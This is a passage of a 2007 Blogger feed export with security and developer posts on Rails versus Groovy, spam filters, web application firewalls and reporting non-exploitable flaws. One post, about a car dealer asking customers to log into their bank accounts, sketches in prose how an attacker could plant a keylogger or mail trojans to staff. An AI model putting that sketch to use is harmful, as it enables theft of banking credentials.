sugar of perl and all the readability of Ruby.  And that there are &lt;a href="http://groovy.codehaus.org/Builders"&gt;builders&lt;/a&gt; for almost anything hierarchical in nature.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1637571043817941389?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1637571043817941389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/going-off-rails-on-groovy-train-part-2.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1637571043817941389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1637571043817941389'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/going-off-rails-on-groovy-train-part-2.html' title='Going off the Rails on a Groovy Train - Part 2'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-950205169716951094</id><published>2007-05-24T19:24:00.000Z</published><updated>2007-05-25T02:01:06.185Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='rails'/><title type='text'>Going off the Rails on a Groovy Train - Part 1</title><content type='html'>No, this was not an entry in the "Blog Post with the Most Puns or References of Ozzy Songs" contest.&lt;br /&gt;&lt;br /&gt;Many of my colleagues are (as is a lot of the web development world) really high on &lt;a href="http://rubyonrails.org/"&gt;Ruby on Rails&lt;/a&gt;.  And I can understand why.  Really cool Web 2.0 sounding statements like "convention over configuration" or DRY (Don't Repeat Yourself - which I just did by telling you what the acronym meant right after the acronym) are not just words, they're baked in to the way Rails operates.  Rails makes the every day of web application development uber-easy.  And heck, Ruby has closures which almost any legitimate scripting language really needs.&lt;br /&gt;&lt;br /&gt;But I've always had some problems with Rails.  Some of these are admittedly probably based on my fear of change, but the four most substantial ones are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Lack of libraries:  &lt;/span&gt;to really make your life easier, a good scripting language or framework needs to have lots of libraries to do what you need.  Ruby does have lots of libraries.  But when I started trying to learn it, I had two needs, and I could not find libraries for either of the two.  My Rails-uber-guru colleagues couldn't find them either.  That doesn't mean they don't exist, but in Perl - you go to CPAN.  In PHP, you go to the centrail PEAR repo.  In Java, if it's not there already, Apache already wrote it.  In Ruby, it might be on Rubyforge.  Or there might be thirty of them hosted on various people's blogs - no telling which ones are bulletproof.  This will get better with time.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Lack of documentation:&lt;/span&gt;  which is probably a legitimate complaint for anything FLOSS. And this goes hand-in-hand with the lack of libraries (or lack of a couple of de facto standard repo's).  With Java, you know the doc is good.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Inability to leverage existing work:&lt;/span&gt;  For new applications, Rails is fantastic.  But because Rails runs on Ruby, there's not (yet) a way for me to leverage my existing work in existing VM's without turning my existing work into web services (shame on me for not doing it right the first time - but did you?)&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Key exposure:&lt;/span&gt;  Part of the convention over configuration theme turns into key exposure.  URL's say things like http://server/blog/post/edit/832 - where 832 is the primary key field of the post I'm editing.  Now, key exposure is not that big of a deal if 1) the key by itself has no meaning, which if you follow convention, it doesn't, 2) there's no SQL injection, which ActionRecord deals with nicely, and 3) you do permission checking for that object on every action - but that check is up to you.&lt;/li&gt;&lt;/ul&gt;That being said, Ruby on Rails is a really big and good step in the right direction.  However, the first three items are killer for me - it doesn't matter if I can "scaffold" a really complex schema in 8.3 seconds if I'm going to spend 8 weeks writing my own XSL translator or re-inventing the toaster oven.&lt;br /&gt;&lt;br /&gt;In the next couple of posts, I'll explain why I looked (back) into Groovy and why I'm (currently) geeking on Grails.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-950205169716951094?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://grails.org/' title='Going off the Rails on a Groovy Train - Part 1'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/950205169716951094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/going-of-rails-on-groovy-train-part-1.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/950205169716951094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/950205169716951094'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/going-of-rails-on-groovy-train-part-1.html' title='Going off the Rails on a Groovy Train - Part 1'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7233284444345733342</id><published>2007-05-20T17:30:00.000Z</published><updated>2007-05-20T17:35:50.228Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Evading Spam Filters with Spam?</title><content type='html'>In order to evade Bayesian filters, spammers add lorem to their mails so that they look legitimate.  This is in addition to the odd punctuation or misspellings of words that will ordinarily show up in the Bayesian filter's vocabulary blacklists.&lt;br /&gt;&lt;br /&gt;Do you think the spam will ever get to a point of maturity that we have to add spam vocabulary to our legitimate emails just to get them through the spam filters?  Meaning, will the spammers ever stop making it so obvious the type of product they're advertising that those words get removed from the filters, meaning legitimate emails would need to have enough of those just to get by the filters?&lt;br /&gt;&lt;br /&gt;Man I wish more people would adopt and pay attention to S/MIME or PGP signatures.  Obviously, spammers can use those signatures as well, but at least then I can have my email client check who the signature is from for me.  Rats!  There are always trojans to send the emails out and fill in the passphrase boxes, too.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7233284444345733342?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7233284444345733342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/evading-spam-filters-with-spam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7233284444345733342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7233284444345733342'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/evading-spam-filters-with-spam.html' title='Evading Spam Filters with Spam?'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6240902642183615436</id><published>2007-05-08T19:17:00.000Z</published><updated>2007-05-08T19:22:10.230Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Grossman:  May 2007 Web Application Security Professionals Survey</title><content type='html'>First of all, if I told you about this, &lt;span style="font-weight: bold;"&gt;shame on you&lt;/span&gt; for not watching &lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman's blog&lt;/a&gt;.  Go add it to your reader now.  I can wait.&lt;br /&gt;&lt;br /&gt;Now, go fill out the survey if you're a web application security professional.  And if you're not a web application security professional, go ahead and respond anyway - it's open to anybody who works around the web application security field, so if you're a webapp engineer or coder or researcher, you still count.&lt;br /&gt;&lt;br /&gt;Follow his blog for the results.  And look at the results of the previous survey's - interesting stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6240902642183615436?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://jeremiahgrossman.blogspot.com/2007/05/web-application-security-professionals.html' title='Grossman:  May 2007 Web Application Security Professionals Survey'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6240902642183615436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/grossman-may-2007-web-application.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6240902642183615436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6240902642183615436'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/grossman-may-2007-web-application.html' title='Grossman:  May 2007 Web Application Security Professionals Survey'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2197543737147979645</id><published>2007-05-07T13:51:00.000Z</published><updated>2007-05-07T14:08:47.232Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>A Sad Story</title><content type='html'>A few weeks ago, I was helping a friend shop for a used car.  When my friend started asking questions about how to pay, they said they preferred a cashier's check, but if it was on the weekend and you couldn't get one, they would take a personal check if they could verify that your account had the funds to cover the check.  The remainder of the conversation went something like this:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Me:&lt;/span&gt;  So how do you verify?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Salesman:&lt;/span&gt;  Oh - we can just verify it online?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Me:&lt;/span&gt;  Wow!  What service do you use to verify it?  [I was shocked such a service might exist.]&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Salesman:&lt;/span&gt;  Oh - there's no service - you verify it for us.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Me:&lt;/span&gt;  So how do you handle that?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Salesman:&lt;/span&gt;  We just ask you to sign into your bank account and show us the balance.&lt;br /&gt;&lt;/blockquote&gt;At this point, I'm already &lt;span style="font-style: italic;"&gt;shocked&lt;/span&gt;, but then it gets worse:&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Me:&lt;/span&gt;  So how many people refuse to do that for you?  I mean, people turn you down on that offer, right?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Salesman:&lt;/span&gt; As long as I've worked here, I don't remember it happening once.&lt;/blockquote&gt;So, to buy a car on the weekend or after 3pm, I'm supposed to log in to my bank account from a public computer with at least one complete stranger watching over my shoulder, and probably with cameras all over the place?&lt;br /&gt;&lt;br /&gt;There were a couple of attack vectors from this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If the computer they want you to do this from is a &amp;quot;shared&amp;quot; computer - i.e., one somewhere central - not the salesperson's computer, walk in pretending to want to buy a car.  At home, you set up your fictitious bank account and mention to the salesperson that they require uber-security - so you have to plug in your thumbdrive as another verification factor (or you're uber-paranoid and don't know your own password and put it on a password safe - they evidently don't know that the uber-paranoid wouldn't put their password safe on an untrusted computer anyhow, so it'd fly).  Thumbdrive has the keylogger, and you just have it phone home.  Since this machine is the only one used for verifying account balances, you'd get a pretty good frequency - particularly on weekends.&lt;/li&gt;&lt;li&gt;If you're asked to sign in from the salesperson's computer, you just find out the email address policy - how do they construct their addresses.  Get as many business cards as you can while you're there, call numerous times getting a different employee name each time you call, divide it up - do you need service?  Or to buy a car?  Or just general information?  You'll probably get a different name each time, assuming the place is big enough.  Then email every address you got, include your trojan there.  Any place that asks customers to sign onto their bank account on a public computer probably would never know you installed a trojan.&lt;/li&gt;&lt;/ul&gt;And then, (I alluded to it earlier) - what is their criteria for trusting the value?  Do they check the URL?  Or do they just look over your shoulder?  Could I make up my own bank and host it at home?  Or would they believe me if I printed off my account balance and brought it in?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2197543737147979645?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2197543737147979645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/sad-story.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2197543737147979645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2197543737147979645'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/sad-story.html' title='A Sad Story'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2641941451682460069</id><published>2007-05-06T15:29:00.000Z</published><updated>2007-05-06T15:53:52.400Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Do We Really Need a Security Industry</title><content type='html'>When somebody posts &lt;a href="http://ha.ckers.org/blog/20070505/do-we-need-a-security-industry/"&gt;something critical&lt;/a&gt; of &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/05/schneier-do-we-really-need-security.html"&gt;what I've written&lt;/a&gt;, I'm careful to go back and read my own words.  And I frequently find that I'm flat out wrong.  And in other cases, such as this one, I write before I think (similar to implementing before you engineer) which ends in me looking very unprofessional.&lt;br /&gt;&lt;br /&gt;RSnake was (rightly) defending himself after I made a flippant remark about his warming up in one circumstance to WAF's.  And my remark neither fully explained RSnake's decision, nor gave a complete picture of the depth of the decision in &lt;span style="font-weight: bold;"&gt;one circumstance&lt;/span&gt;.  RSnake gave a great deal of thought to how WAF's can be beneficial, and certainly did &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; say they were some sort of a silver bullet solution to all security failures.&lt;br /&gt;&lt;br /&gt;Here's my take on WAF's.  Like RSnake said about Schneier, I wish it were a perfect world.  I wish programmers didn't make mistakes.  Even earlier, I wish software engineers thought more like civil engineers.  I wish the really poorly-conceived models we have, and poorly-coded applications we have, and all the insecure frameworks we have could just be chucked and re-conceived, re-coded, and re-engineered.  But as has been pointed out to me many times, I have my head in the clouds, and not grounded in reality.&lt;br /&gt;&lt;br /&gt;That being said, if you are able to go back to square one on an application, or if you're in the infancy of engineering something, it is &lt;span style="font-weight: bold;"&gt;far&lt;/span&gt; more effective and cost-effective to design things right the first time.  If you have a real need for WAF's in the future, then you need to go back and look at your processes to see how you can do things better on the next iteration.  WAF's are great as a safety net, but will never help your programmers and engineers do their job better, but they may have the adverse effect - by covering up for flaws made by programmers, they may train the programmers to &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; do the right thing and to completely rely upon the WAF (or the hacking team, or the security scanner) to catch their failures.&lt;br /&gt;&lt;br /&gt;WAF's can be fantastic in those circumstances like RSnake spoke about - where re-engineering is a complete non-option, or when the application is never going through other iterations and will soon be retired.  And I'm not even supposing that you shouldn't always use them - but when starting from scratch, &lt;span style="font-weight: bold;"&gt;never&lt;/span&gt; rely on them to provide security you should have baked in yourself.  WAF's don't know your application the way you do, and in order to make them know the application the way you do requires you to write logic into the WAF that you simply should have written into the application.&lt;br /&gt;&lt;br /&gt;Now, as far as RSnake is concerned, I value his opinion more highly than my own.  He's the one who's been in (and out) of the industry far longer than I have.  He's the one who's asked to give lots and lots and lots of presentations, not me.  The masses respect is opinion much further than mine (and for once, in this case, I think the masses are right).  I ground almost everything I write in the philosophy of how you should write things if you're writing them new.  RSnake is firmly grounded in reality.  If he says something is busted, you'd better read what it is, and figure out if yours is too.  If you're writing from scratch, or doing a complete re-write, I highly encourage you to look here and see if there are good practices you can employ to make your application better from the beginning.&lt;br /&gt;&lt;br /&gt;RSnake, my apologies for making such a statement without fleshing out the thought.  In the event we ever get to meet up, I'll buy you a pop - but seeing as how you're in Texas now, it's all called Coke regardless of what brand or flavor it is.  "You want a Coke?"  "Sure!" "What kind?" "Sprite."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2641941451682460069?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ha.ckers.org/blog/20070505/do-we-need-a-security-industry/' title='Do We Really Need a Security Industry'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2641941451682460069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/do-we-really-need-security-industry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2641941451682460069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2641941451682460069'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/do-we-really-need-security-industry.html' title='Do We Really Need a Security Industry'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6611830510200800066</id><published>2007-05-04T13:27:00.000Z</published><updated>2007-05-04T13:38:42.341Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><title type='text'>My Dog Ate My Homework (or a buttefly flaps its wings in Hong Kong)</title><content type='html'>I try not to post items of a personal nature here, but this is too good.  I'll see if I can apply it to engineering or security somehow....&lt;br /&gt;&lt;br /&gt;Last night, my finger was hanging off the edge of the bed.  The cat decided to play, so attacked the finger.  We played for a little while like that.  Then she fell on my alarm clock (I guess) that sits by my bed on the floor.&lt;br /&gt;&lt;br /&gt;The alarm clock is battery powered, so it's LCD.  So it has a backlight button.  When the cat fell on it, the batteries got jarred just right or something, so the backlight wouldn't go off.  This really annoyed me, so I picked up the clock and shook it, and the light didn't go off.  I looked at the display: &amp;quot;88:88:88&amp;quot;.  So great, something really got jarred well.&lt;br /&gt;&lt;br /&gt;So I took the batteries out and popped them back in.  The clock receives a radio signal from the atomic clocks, so I set the timezone, but it never could get a radio signal to set the time.  So I manually set the time.&lt;br /&gt;&lt;br /&gt;I meet with some guys on Friday mornings.  One of the guys knows I loaned a car to somebody, so would need a ride to our gathering.  The phone woke me up 20 minutes after my alarm should've gone off, and my buddy said he was on his way and would wait outside for me - but he was like 2 minutes away.&lt;br /&gt;&lt;br /&gt;Still sleepy, I was still trying to figure out why my alarm didn't go off.  My clock said it was one hour earlier than it really was.  So what had happened was when I set the timezone, I neglected to set the DST flag.  And in the middle of the night, the clock picked up a signal and (correctly) set the time for one hour ago.&lt;br /&gt;&lt;br /&gt;And to top it all off, I have a calendar event for my regular meeting.  It's &lt;span style="font-weight: bold;"&gt;supposed&lt;/span&gt; to send me an SMS in time for me to get up and make it to the meeting.  But that message didn't come today.&lt;br /&gt;&lt;br /&gt;Talk about the planets being in alignment.&lt;br /&gt;&lt;br /&gt;So if there's anything we can apply here to security or engineering:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Better (in this case, atomic clocks) isn't always better.&lt;/li&gt;&lt;li&gt;DST is a waste of time.  It's there so there are more daylight hours.  How does changing our clocks change the tilt of the earth or the rate of its rotation?&lt;/li&gt;&lt;li&gt;Sometimes, two points of failure aren't enough (alarm clock and SMS message).&lt;/li&gt;&lt;li&gt;Cats ruin everything.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6611830510200800066?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6611830510200800066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/my-dog-ate-my-homework-or-buttefly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6611830510200800066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6611830510200800066'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/my-dog-ate-my-homework-or-buttefly.html' title='My Dog Ate My Homework (or a buttefly flaps its wings in Hong Kong)'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2226048102740269041</id><published>2007-05-03T18:07:00.000Z</published><updated>2007-05-03T18:15:27.055Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='customers'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Schneier:  Do We Really Need a Security Industry?</title><content type='html'>Finally - somebody else said it.  I've alluded to it &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/02/its-our-own-fault.html"&gt;here&lt;/a&gt;, and &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/02/too-much-perfectionist.html"&gt;here&lt;/a&gt;.  There are so many products out there to make up for things we should have done earlier.  Which is why I'm so sad that &lt;a href="http://ha.ckers.org/blog/20070430/wafs-a-change-of-heart/"&gt;RSnake is coming around to the idea of WAF's&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;We make and sell these products to bolt on security when it's too late, rather than making things secure from the beginning.  And not only that, we never really engineer the type of information into the design, either.  Does your application really need for admins to be able to read all of the home addresses of your users, when you really just use a third party to do the shipping?  Then you don't need to store it.  The less sensitive information you have in the first place, the lower the risk of getting hacked.  That's a design decision that needs to happen really early.  Rather than trying to figure out how to protect credit card #'s, have we thought about whether we need them in the first place?&lt;br /&gt;&lt;br /&gt;So back to the point - Schneier seemed to see at the conference a lot of what I see in trade rags now - product after product after product that doesn't really protect you, it discovers what's already broken - and something that should've been engineered properly in the first place.&lt;br /&gt;&lt;br /&gt;Better ingredients == better pizza.&lt;br /&gt;Better engineering == more secure code (without having to bolt on security later).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2226048102740269041?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.schneier.com/blog/archives/2007/05/do_we_really_ne.html' title='Schneier:  Do We Really Need a Security Industry?'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2226048102740269041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/schneier-do-we-really-need-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2226048102740269041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2226048102740269041'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/05/schneier-do-we-really-need-security.html' title='Schneier:  Do We Really Need a Security Industry?'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6345339827531208593</id><published>2007-04-28T02:57:00.000Z</published><updated>2007-04-28T03:33:54.014Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>False Positives vs. Non-Exploitables</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_5n56hbQMEaU/RjLAivr9N6I/AAAAAAAAAAk/U12eyHEcbUs/s1600-h/fpfn.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://4.bp.blogspot.com/_5n56hbQMEaU/RjLAivr9N6I/AAAAAAAAAAk/U12eyHEcbUs/s320/fpfn.png" alt="" id="BLOGGER_PHOTO_ID_5058317034639407010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Another professional and I sat down to coffee a few weeks ago, and we got around to a conversation we seem to have often.  I feel almost ashamed to publish a post on it when there's no "other side of the argument" here to defend itself.  So please bear with me as I try to do both arguments justice (and tell you why my side is right).&lt;br /&gt;&lt;br /&gt;Consumers of security tools have long asked that the tool reduce the number of false positives.  And this is certainly understandable - it's very difficult to know what to fix when the list of things that are broken includes so many things that aren't broken.  All areas of security try to sell you on their perfect false positive to false negative ratio.  Theoretically, the two are on separate paths that at some point intersect - as the sensitivity of the tool is increased, false positives go up, false negatives go down.  As the sensitivity is relaxes, false positives go down, false negatives go up.  The theoretical ideal of the two is where the two are equal - this would be the lowest sum total of the two.&lt;br /&gt;&lt;br /&gt;Tool vendors have to make their customers happy.  And false positive to false negative ratio is one metric that all vendors use to prove the value of their tool.  None of the tools out there use the same taxonomy, result format, reporting, etc., so the only apples-to-apples comparison we have is false positive to false negative ratio.&lt;br /&gt;&lt;br /&gt;Now, the tool vendors work very hard to get the false positives to decrease, and depending on the type of tool, they do it varying ways.  Application firewalls may use anomaly detection rather than flagging everything with known-bad data.  Static analysis tools build a call tree to see if the data is sanitized anywhere in the process, and if so, it's not reported.  Dynamic analysis tools don't report "evidence of", they report real exploits.&lt;br /&gt;&lt;br /&gt;This is both good and bad.  The good side is that because false positives are low, when something is reported, you can be pretty sure it needs to be fixed.  When a static analyzer finds an injection flaw, you know that the data goes soup to nuts without being properly checked or encoded.  When a pen testing tool finds something you know it didn't find those pesky points where you got back an angle bracket, but just couldn't get a real injection attack.&lt;br /&gt;&lt;br /&gt;However, I think that false positives have been confused with non-exploitables.  When pen-testing, those pesky points where you get back a real angle bracket, but can't get a real injection to work, although there's no injection, you have sufficient proof that encoding is not taking place.  And in static analysis, if you see a place where data goes to a "presentation layert" (database call, screen, wire, LDAP server, command shell, etc.) without being properly encoded, you have a real flaw, even though it's not exploitable.&lt;br /&gt;&lt;br /&gt;There are two primary reasons that not reporting non-exploitables is dangerous:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Although the point is not exploitable today, there's a &lt;span style="font-weight: bold;"&gt;false&lt;/span&gt; safety net keeping it from being exploitable - a string length restriction that could change tomorrow, or an input policy that happens to be checked today, but when the same input is accepted from another source tomorrow, the same checks don't take place.&lt;/li&gt;&lt;li&gt;When asked to fix problems, developers &lt;span style="font-weight: bold;"&gt;must&lt;/span&gt; take the results of the test to make their decisions on what to fix.  If output is not encoded in two places, and only one is reported, how will the developer learn what to fix by output encoding?  They'll learn to fix the ones the tool reports.  So how so developers learn to code correctly?  They don't - they learn to code the way they always do, then count on the tool to correct them later.  Even if it's not exploitable, non output-filtered code should be flagged (possibly rated differently in severity).&lt;/li&gt;&lt;/ol&gt;So for the security practitioners, do your developers a favor and document those "uncomfortable places" where you couldn't get a really good exploit to work, but you know there's something not behaving properly.  When you're doing a manual code review, flag all of those places where data goes to a presentation layer without actual encoding.&lt;br /&gt;&lt;br /&gt;And developers, do yourselves a &lt;span style="font-weight: bold;"&gt;huge&lt;/span&gt; favor and when a report comes back with flaws, demand that whoever made the report (your tool, your security team, your peer reviewer), explain to you why it's a problem.  Don't simply fix that issue.  Discover how you fixed it, and how you can apply the same fix to other locations that weren't reported to you.  And more importantly, make that fix a part of your programming habits, so that you just write it that way in the future.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 